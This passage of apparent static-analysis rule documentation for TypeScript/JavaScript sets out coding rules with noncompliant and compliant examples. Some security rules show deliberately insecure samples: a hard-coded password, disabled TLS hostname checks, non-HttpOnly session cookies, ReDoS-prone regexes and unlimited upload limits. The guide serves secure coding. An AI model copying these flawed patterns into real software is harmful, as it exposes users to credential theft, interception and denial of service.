    doSomethingElse();
    break;
}

Compliant Solution

if (variable == 0) {
  doSomething();
} else {
  doSomethingElse();
}
typescript:S4138

If you have an iterable, such as an array, set, or list, your best option for looping through its values is the for of syntax. Use a counter, and ... well you'll get the right behavior, but your code just isn't as clean or clear.

Noncompliant Code Example

const arr = [4, 3, 2, 1];

for (let i = 0; i < arr.length; i++) {  // Noncompliant
  console.log(arr[i]);
}

Compliant Solution

const arr = [4, 3, 2, 1];

for (let value of arr) {
  console.log(value);
}
typescript:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for (var i = 0; i < length; i++) {}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty. Moreover catch blocks are ignored.

typescript:S109

A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc.

Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time.

That is why magic numbers must be demystified by first being assigned to clearly named variables before being used.

-1, 0 and 1 are not considered magic numbers.

Noncompliant Code Example

function doSomething() {
  for (let i = 0; i < 4; i++) {    // Noncompliant, 4 is a magic number
    // ...
  }
}

Compliant Solution

function doSomething() {
  const numberOfCycles = 4;
  for (let i = 0; i < numberOfCycles; i++) {
    // ...
  }
}
typescript:S106

Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information, slowing down the browser, or even erroring-out the site for some users.

Noncompliant Code Example

console.log(password_entered); // Noncompliant

See

typescript:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

function doSomething(param1, param2, param3, param4, param5) {
...
}

Compliant Solution

function doSomething(param1, param2, param3, param4) {
...
}
typescript:S5693

Rejecting requests with significant content length is a good practice to control the network traffic intensity and thus resource consumption in order to prevents DoS attacks.

Ask Yourself Whether

  • size limits are not defined for the different resources of the web application.
  • the web application is not protected by rate limiting features.
  • the web application infrastructure has limited resources.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • For most of the features of an application, it is recommended to limit the size of requests to:
    • lower or equal to 8mb for file uploads.
    • lower or equal to 2mb for other requests.

It is recommended to customize the rule with the limit values that correspond to the web application.

Sensitive Code Example

formidable file upload module:

const form = new Formidable();
form.maxFileSize = 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB

const formDefault = new Formidable(); // Sensitive, the default value is 200MB

multer (Express.js middleware) file upload module:

let diskUpload = multer({
  storage: diskStorage,
  limits: {
    fileSize: 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB
  }
});

let diskUploadUnlimited = multer({ // Sensitive: the default value is no limit
  storage: diskStorage,
});

body-parser module:

// 4MB is more than the recommended limit of 2MB for non-file-upload requests
let jsonParser = bodyParser.json({ limit: "4mb" }); // Sensitive
let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "4mb" }); // Sensitive

Compliant Solution

formidable file upload module:

const form = new Formidable();
form.maxFileSize = 8000000; // Compliant: 8MB

multer (Express.js middleware) file upload module:

let diskUpload = multer({
  storage: diskStorage,
  limits: {
     fileSize: 8000000 // Compliant: 8MB
  }
});

body-parser module:

let jsonParser = bodyParser.json(); // Compliant, when the limit is not defined, the default value is set to 100kb
let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "2mb" }); // Compliant

See

typescript:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

typescript:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

typescript:S5691

Hidden files are created automatically by many tools to save user-preferences, well-known examples are .profile, .bashrc, .bash_history or .git. To simplify the view these files are not displayed by default using operating system commands like ls.

Outside of the user environment, hidden files are sensitive because they are used to store privacy-related information or even hard-coded secrets.

Ask Yourself Whether

  • Hidden files may have been inadvertently uploaded to the static server's public directory and it accepts requests to hidden files.
  • There is no business use cases linked to serve files in .name format but the server is not configured to reject requests to this type of files.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Disable the serving of hidden files.

Sensitive Code Example

Express.js serve-static middleware:

let serveStatic = require("serve-static");
let app = express();
let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'allow'});   // Sensitive
app.use(serveStaticMiddleware);

Compliant Solution

Express.js serve-static middleware:

let serveStatic = require("serve-static");
let app = express();
let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'ignore'});   // Compliant: ignore or deny are recommended values
let serveStaticDefault = serveStatic('public', { 'index': false});   // Compliant: by default, "dotfiles" (file or directory that begins with a dot) are not served (with the exception that files within a directory that begins with a dot are not ignored), see serve-static module documentation
app.use(serveStaticMiddleware);

See

typescript:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

typescript:S909

continue is an unstructured control flow statement. It makes code less testable, less readable and less maintainable. Structured control flow statements such as if should be used instead.

Noncompliant Code Example

  for (i = 0; i < 10; i++) {
    if (i == 5) {
      continue;  /* Noncompliant */
    }
    alert("i = " + i);
  }

Compliant Solution

  for (i = 0; i < 10; i++) {
    if (i != 5) {  /* Compliant */
      alert("i = " + i);
    }
  }
typescript:S905

Any statement (other than a null statement, which means a statement containing only a semicolon ;) which has no side effect and does not result in a change of control flow will normally indicate a programming error, and therefore should be refactored.

Noncompliant Code Example

a == 1; // Noncompliant; was assignment intended?
var msg = "Hello, "
  "World!"; // Noncompliant; have we forgotten '+' operator on previous line?

See

typescript:S1535

The for...in statement allows you to loop through the names of all of the properties of an object. The list of properties includes all those properties that were inherited through the prototype chain. This has the side effect of serving up functions when the interest is in data properties. Programs that don't take this into account can fail.

Therefore, the body of every for...in statement should be wrapped in an if statement that filters which properties are acted upon. It can select for a particular type or range of values, or it can exclude functions, or it can exclude properties from the prototype.

Noncompliant Code Example

for (name in object) {
    doSomething(name);  // Noncompliant
}

Compliant Solution

for (name in object) {
  if (object.hasOwnProperty(name)) {
    doSomething(name);
  }
}

Exceptions

Loops used to clone objects are ignored.

for (prop in obj) {
  a[prop] = obj[prop];  // Compliant by exception
}
typescript:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

function setName(name) {
    name = name;
}

Compliant Solution

function setName(name) {
    this.name = name;
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
typescript:S1537

Most browsers parse and discard a meaningless, trailing comma. Unfortunately, that's not the case for Internet Explorer below version 9, which throws a meaningless error. Therefore trailing commas should be eliminated.

Noncompliant Code Example

var settings = {
    'foo'  : oof,
    'bar' : rab,    // Noncompliant - trailing comma
};

Compliant Solution

var settings = {
    'foo'  : oof,
    'bar' : rab
};
typescript:S1539

Even though it may be a good practice to enforce JavaScript strict mode, doing so could result in unexpected behaviors on browsers that do not support it yet. Using this feature should therefore be done with caution and with full knowledge of the potential consequences on browsers that do not support it.

Noncompliant Code Example

function strict() {
  'use strict';
}
typescript:S4124

Declare a constructor inside an interface, and you will get a simple method with the name "constructor". The same thing will happen if you create a new method inside the interface: you'll get a simple method named "new".

Instead, the intent was probably to specify that the type did not originate from a TypeScript file. In such cases, just use the declare class syntax.

Noncompliant Code Example

interface TypeDeclaredElsewhere {
  someMethod(): number;
  new(b: boolean): TypeDeclaredElsewhere; // Noncompliant
  constructor(b: boolean): void; // Noncompliant
}

Compliant Solution

declare class TypeDeclaredElsewhere {
  someMethod(): number;
  constructor(b: boolean);
}

typescript:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use your cloud provider's service for managing secrets.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

var mysql = require('mysql');

var connection = mysql.createConnection(
{
  host:'localhost',
  user: "admin",
  database: "project",
  password: "mypassword", // sensitive
  multipleStatements: true
});

connection.connect();

Compliant Solution

var mysql = require('mysql');

var connection = mysql.createConnection({
  host: process.env.MYSQL_URL,
  user: process.env.MYSQL_USERNAME,
  password: process.env.MYSQL_PASSWORD,
  database: process.env.MYSQL_DATABASE
});
connection.connect();

See

typescript:S4123

It is possible to use await on values which are not Promises, but it's useless and misleading. The point of await is to pause execution until the Promise's asynchronous code has run to completion. With anything other than a Promise, there's nothing to wait for.

This rule raises an issue when an awaited value is guaranteed not to be a Promise.

Noncompliant Code Example

let x = 42;
await x; // Noncompliant

Compliant Solution

let x = new Promise(resolve => resolve(42));
await x;

let y = p ? 42 : new Promise(resolve => resolve(42));
await y;
typescript:S1530

While most script engines support function declarations within blocks, from browser to browser, the implementations are inconsistent with each other.

Noncompliant Code Example

if (x) {
  function foo() {} //foo is hoisted in Chrome, Firefox and Safari, but not in Edge.
}

Compliant Solution

if (x) {
  const foo = function() {}
}
typescript:S1774

While the ternary operator is pleasingly compact, its use can make code more difficult to read. It should therefore be avoided in favor of the more verbose if/else structure.

Noncompliant Code Example

function foo(a) {
  var b = (a === 'A') ? 'is A' : 'is not A'; // Noncompliant
  // ...
}

Compliant Solution

function foo(a) {
  var b;
  if (a === 'A') {
    b = 'is A';
  }
  else {
    b = 'is not A';
  }
  // ...
}
typescript:S1533

The use of wrapper objects for primitive types is gratuitous, confusing and dangerous. If you use a wrapper object constructor for type conversion, just remove the new keyword, and you'll get a primitive value automatically. If you use a wrapper object as a way to add properties to a primitive, you should re-think the design. Such uses are considered bad practice, and should be refactored.

Noncompliant Code Example

let x = new Number("0");
if (x) {
  alert('hi');  // Shows 'hi'.
}

Compliant Solution

let x = Number("0");
if (x) {
  alert('hi');
}
typescript:S139

This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.

Noncompliant Code Example

var a1 = b + c; // This is a trailing comment that can be very very long

Compliant Solution

// This very long comment is better placed before the line of code
var a2 = b + c;
typescript:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

Exceptions

This function ignores Immediately Invoked Function Expressions (IIFE), which are functions that are created and invoked without ever being assigned a name.

(function () { // Ignored by this rule

  function open() {  // Classic function declaration; not ignored
    // ...
  }

  function read() {
    // ...
  }

  function readlines() {
    // ...
  }
})();
typescript:S2251

A for loop with a stop condition that can never be reached, such as one with a counter that moves in the wrong direction, will run infinitely. While there are occasions when an infinite loop is intended, the convention is to construct such loops as while loops. More typically, an infinite for loop is a bug.

Noncompliant Code Example

for (var i = 0; i < strings.length; i--) { // Noncompliant;
  //...
}

Compliant Solution

for (var i = 0; i < strings.length; i++) {
  //...
}

See

typescript:S135

Restricting the number of break and continue statements in a loop is done in the interest of good structured programming.

One break and continue statement is acceptable in a loop, since it facilitates optimal coding. If there is more than one, the code should be refactored to increase readability.

Noncompliant Code Example

for (var i = 1; i <= 10; i++) {  // Noncompliant - 2 continue - one might be tempted to add some logic in between
  if (i % 2 == 0) {
    continue;
  }

  if (i % 3 == 0) {
    continue;
  }

  alert("i = " + i);
}
typescript:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

const crypto = require("crypto");

const hash = crypto.createHash('sha1'); // Sensitive

Compliant Solution

const crypto = require("crypto");

const hash = crypto.createHash('sha256'); // Compliant

See

typescript:S5527

To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate.

The certificate's hostname-specific data should match the server hostname.

It's not recommended to re-invent the wheel by implementing custom hostname verification.

TLS/SSL libraries provide built-in hostname verification functions that should be used.

Noncompliant Code Example

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method',
  checkServerIdentity: function() {} // Noncompliant: hostname is not verified
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Noncompliant

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method',
    checkServerIdentity: function() {}  // Noncompliant: hostname is not verified
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
});  // Noncompliant

request module:

let socket = request.get({
    url: 'https://www.example.com',
    secureProtocol: 'TLSv1_2_method',
    checkServerIdentity: function() {}  // Noncompliant: hostname is not verified
});

Compliant Solution

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method'
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Compliant: default checkServerIdentity function is secure

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method',
    checkServerIdentity: (servername, peer) => {
        if (servername !== "www.example.com") {
            return new Error ('Error');  // Compliant: there is at least one check
        }
    }
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
}); // Compliant

request module:

let socket = request.get({
    url: 'https://www.example.com/',
    secureProtocol: 'TLSv1_2_method' // Compliant
}); // Compliant:  default checkServerIdentity function is secure

See

typescript:S2933

readonly properties can only be assigned in a class constructor or at the point of declaration. If a class has a property that's not marked readonly but is only set in the constructor, it could cause confusion about the property's intended use. To avoid confusion, such properties should be marked readonly to make their intended use explicit, and to prevent future maintainers from inadvertently changing their use.

Noncompliant Code Example

class Person {
  private _birthYear: number;  // Noncompliant
  constructor(birthYear: number) {
    this._birthYear = birthYear;
  }
}

Compliant Solution

class Person {
  private readonly _birthYear: number;
  constructor(birthYear: number) {
    this._birthYear = birthYear;
  }
}
typescript:S2814

This rule checks that a declaration doesn't use a name that is already in use. Indeed, it is possible to use the same symbol multiple times as either a variable or a function, but doing so is likely to confuse maintainers. Further it's possible that such reassignments are made in error, with the developer not realizing that the value of the variable is overwritten by the new assignment.

This rule also applies to function parameters.

Noncompliant Code Example

var a = 'foo';
function a() {}   // Noncompliant
console.log(a);   // prints "foo"

function myFunc(arg) {
  var arg = "event"; // Noncompliant, argument value is lost
}

fun(); // prints "bar"

function fun() {
  console.log("foo");
}

fun(); // prints "bar"

function fun() {  // Noncompliant
  console.log("bar");
}

fun(); // prints "bar"

Compliant Solution

var a = 'foo';
function otherName() {}
console.log(a);

function myFunc(arg) {
  var newName = "event";
}

fun(); // prints "foo"

function fun() {
  print("foo");
}

fun(); // prints "foo"

function printBar() {
  print("bar");
}

printBar(); // prints "bar"
typescript:S1848

There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production.

If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate method and called directly.

Noncompliant Code Example

new MyConstructor(); // Non-Compliant

Compliant Solution

var something = new MyConstructor();  // Compliant
typescript:S2817

The Web SQL Database standard never saw the light of day. It was first formulated, then deprecated by the W3C and was only implemented in some browsers. (It is not supported in Firefox or IE.)

Further, the use of a Web SQL Database poses security concerns, since you only need its name to access such a database.

Noncompliant Code Example

var db = window.openDatabase("myDb", "1.0", "Personal secrets stored here", 2*1024*1024);  // Noncompliant

See

typescript:S2255

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

  • sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

// === Built-in NodeJS modules ===
const http = require('http');
const https = require('https');

http.createServer(function(req, res) {
  res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive
});
https.createServer(function(req, res) {
  res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive
});
// === ExpressJS ===
const express = require('express');
const app = express();
app.use(function(req, res, next) {
  res.cookie('name', 'John'); // Sensitive
});
// === In browser ===
// Set cookie
document.cookie = "name=John"; // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

typescript:S2376

When an object is created with a setter for a property but without a getter for that property, the property is inaccessible and is thus useless.

This rule also enforces the reverse situation (getter but no setter).

Noncompliant Code Example

var obj = {
    set foo(value) {
        this.fooval = value;
    }
};

Compliant Solution

var obj = {
    set foo(value) {
        this.fooval = value;
    },
    get foo() {
        return this.fooval;
    }
};

or

var obj = {
    setFoo(value) {    // a standard method, not a setter
        this.fooval = value;
    }
};
typescript:S2138

undefined is the value you get for variables and properties which have not yet been created. Use the same value to reset an existing variable and you lose the ability to distinguish between a variable that exists but has no value and a variable that does not yet exist. Instead, null should be used, allowing you to tell the difference between a property that has been reset and one that was never created.

Noncompliant Code Example

var myObject = {};

// ...
myObject.fname = undefined;  // Noncompliant
// ...

if (myObject.lname == undefined) {
  // property not yet created
}
if (myObject.fname == undefined) {
  // no real way of knowing the true state of myObject.fname
}

Compliant Solution

var myObject = {};

// ...
myObject.fname = null;
// ...

if (myObject.lname == undefined) {
  // property not yet created
}
if (myObject.fname == undefined) {
  // no real way of knowing the true state of myObject.fname
}
typescript:S4798

Having default value for optional boolean parameters makes the logic of function when missing that parameter more evident. When providing a default value is not possible, it is better to split the function into two with a clear responsibility separation.

Noncompliant Code Example

function countPositiveNumbers(arr: number[], countZero?: boolean) { // Noncompliant, default value for 'countZero' should be defined
  // ...
}

function toggleProperty(property: string, value?: boolean) { // Noncompliant, a new function should be defined
  if (value !== undefined) {
    setProperty(property, value);
  } else {
    setProperty(property, calculateProperty());
  }
}

Compliant Solution

function countPositiveNumbers(arr: number[], countZero = false) {
  // ...
}

function toggleProperty(property: string, value: boolean) {
  setProperty(property, value);
}

function togglePropertyToCalculatedValue(property: string) {
  setProperty(property, calculateProperty());
}
typescript:S2137

JavaScript has special identifiers that, while not reserved, still should not be used as identifiers. They include:

  • eval - evaluates a string as JavaScript code
  • arguments - used to access function arguments through indexed properties.
  • undefined - returned for values and properties that have not yet been assigned
  • NaN - Not a Number; returned when math functions fail.
  • Infinity - when a number exceeds the upper limit of the floating point numbers

These words should not be bound or assigned, because doing so would overwrite the original definitions of these identifiers. What's more, assigning or binding some of these names will generate an error in JavaScript strict mode code.

Noncompliant Code Example

eval = 17; // Noncompliant
arguments++; // Noncompliant
++eval; // Noncompliant
var obj = { set p(arguments) { } }; // Noncompliant
var eval; // Noncompliant
try { } catch (arguments) { } // Noncompliant
function x(eval) { } // Noncompliant
function arguments() { } // Noncompliant
var y = function eval() { }; // Noncompliant
var f = new Function("arguments", "return 17;"); // Noncompliant

function fun() {
  if (arguments.length == 0) { // Compliant
    // do something
  }
}

Compliant Solution

result = 17;
args++;
++result;
var obj = { set p(arg) { } };
var result;
try { } catch (args) { }
function x(arg) { }
function args() { }
var y = function fun() { };
var f = new Function("args", "return 17;");

function fun() {
  if (arguments.length == 0) {
    // do something
  }
}
typescript:S128

When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.

Noncompliant Code Example

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:  // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ?
    doSomething();
  default:
    doSomethingElse();
    break;
}

Compliant Solution

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Exceptions

This rule is relaxed in the following cases:

switch (myVariable) {
  case 0:                                // Empty case used to specify the same behavior for a group of cases.
  case 1:
    doSomething();
    break;
  case 2:                                // Use of return statement
    return;
  case 3:                               // Ends with comment when fall-through is intentional
    console.log("this case falls through")
    // fall through
  case 4:                                // Use of throw statement
    throw new IllegalStateException();
  case 5:                                // Use of continue statement
    continue;
  default:                               // For the last case, use of break statement is optional
    doSomethingElse();
}

See

  • MITRE, CWE-484 - Omitted Break Statement in Switch
  • CERT, MSC17-C. - Finish every set of statements associated with a case label with a break statement
  • CERT, MSC52-J. - Finish every set of statements associated with a case label with a break statement
typescript:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if (x == 0) {
  doSomething();
} else if (x == 1) {
  doSomethingElse();
}

Compliant Solution

if (x == 0) {
  doSomething();
} else if (x == 1) {
  doSomethingElse();
} else {
  throw "Unexpected value for x";
}

See

typescript:S124

This rule template can be used to create rules which will be triggered when a comment matches a given regular expression.

For example, one can create a rule with the regular expression .*REVIEW.* to match all comment containing "REVIEW".

typescript:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

typescript:S5759

Users often connect to web servers through HTTP proxies.

Proxy can be configured to forward the client IP address via the X-Forwarded-For or Forwarded HTTP headers.

IP address is a personal information which can identify a single user and thus impact his privacy.

Ask Yourself Whether

  • The web application uses reverse proxies or similar but doesn't need to know the IP address of the user.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

User IP address should not be forwarded unless the application needs it, as part of an authentication, authorization scheme or log management for examples.

Sensitive Code Example

node-http-proxy

var httpProxy = require('http-proxy');

httpProxy.createProxyServer({target:'http://localhost:9000', xfwd:true}) // Noncompliant
  .listen(8000);

http-proxy-middleware

var express = require('express');

const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true, xfwd: true })); // Noncompliant
app.listen(3000);

Compliant Solution

node-http-proxy

var httpProxy = require('http-proxy');

// By default xfwd option is false
httpProxy.createProxyServer({target:'http://localhost:9000'}) // Compliant
  .listen(8000);

http-proxy-middleware

var express = require('express');

const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

// By default xfwd option is false
app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true})); // Compliant
app.listen(3000);

See

typescript:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as (a+)+s will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following characters: *+{.

Example: (a+)*

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using.

Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Sensitive Code Example

const regex = /(a+)+b/; // Sensitive
const regex2 = new RegExp("(a+)+b"); // Sensitive

str.search("(a+)+b"); // Sensitive
str.match("(a+)+b"); // Sensitive
str.split("(a+)+b"); // Sensitive

Note: String.matchAll does not raise any issue as it is not supported by NodeJS.

Exceptions

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

typescript:S3330

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it's up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won't be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

  • the cookie is sensitive, used to authenticate the user, for instance a session-cookie
  • the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • By default the HttpOnly flag should be set to true for most of the cookies and it's mandatory for session / sensitive-security cookies.

Sensitive Code Example

cookie-session module:

let session = cookieSession({
  httpOnly: false,// Sensitive
});  // Sensitive

express-session module:

const express = require('express'),
const session = require('express-session'),

let app = express()
app.use(session({
  cookie:
  {
    httpOnly: false // Sensitive
  }
})),

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  httpOnly: false // Sensitive
}); // Sensitive

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { httpOnly: false }}); // Sensitive

Compliant Solution

cookie-session module:

let session = cookieSession({
  httpOnly: true,// Compliant
});  // Compliant

express-session module:

const express = require('express');
const session = require('express-session');

let app = express();
app.use(session({
  cookie:
  {
    httpOnly: true // Compliant
  }
}));

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  httpOnly: true // Compliant
}); // Compliant

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { httpOnly: true }}); // Compliant

See

typescript:S134

Nested if, for, while, switch, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

  if (condition1) {                  // Compliant - depth = 1
    /* ... */
    if (condition2) {                // Compliant - depth = 2
      /* ... */
      for(let i = 0; i < 10; i++) {  // Compliant - depth = 3, not exceeding the limit
        /* ... */
        if (condition4) {            // Non-Compliant - depth = 4
          if (condition5) {          // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
            /* ... */
          }
          return;
        }
      }
    }
  }
typescript:S4782

In TypeScript there are several ways to declare a property with undefined value: adding | undefined in the property type or using optional property syntax (? after its name). Use | undefined syntax when you want to be explicit that an object has that property, in that case TypeScript compiler will not allow omitting it:

interface Person {
  name: string;
  address: string | undefined;
}

let John = { name: "John" }; // will not compile
let John = { name: "John", address: undefined }; // will compile, we want to be explicit when person does not have home

Use optional property syntax for properties holding some additional information.

interface Person {
  name: string;
  pet?: string;
}

let John = { name: "John" }; // will compile
let John = { name: "John", pet: undefined }; // will compile, there is no pet like for the object on previous line
let John = { name: "John", pet: "Benji" }; // will compile

Using | undefined for optional property is redundant, it can be omitted without change to the actual type. Still if you want to force the property in the object consider using only | undefined without ?.

Noncompliant Code Example

interface Person {
  name: string;
  address? : string | undefined;   // Noncompliant, "?" should be removed
  pet?: Animal | undefined; // Noncompliant, "undefined" should be removed
}

Compliant Solution

interface Person {
  name: string;
  address: string | undefined;
  pet?: Animal;
}
typescript:S131

The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

switch (param) {  //missing default clause
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

switch (param) {
  default: // default clause should be the last one
    error();
    break;
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}

See

typescript:S3696

It is a bad practice to throw something that's not derived at some level from Error. If you can't find an existing Error type that suitably conveys what you need to convey, then you should extend Error to create one.

Specifically, part of the point of throwing \Errors is to communicate about the conditions of the error, but literals have far less ability to communicate meaningfully than \Errors because they don't include stacktraces.

Noncompliant Code Example

throw 404;                              // Noncompliant
throw "Invalid negative index.";        // Noncompliant

Compliant Solution

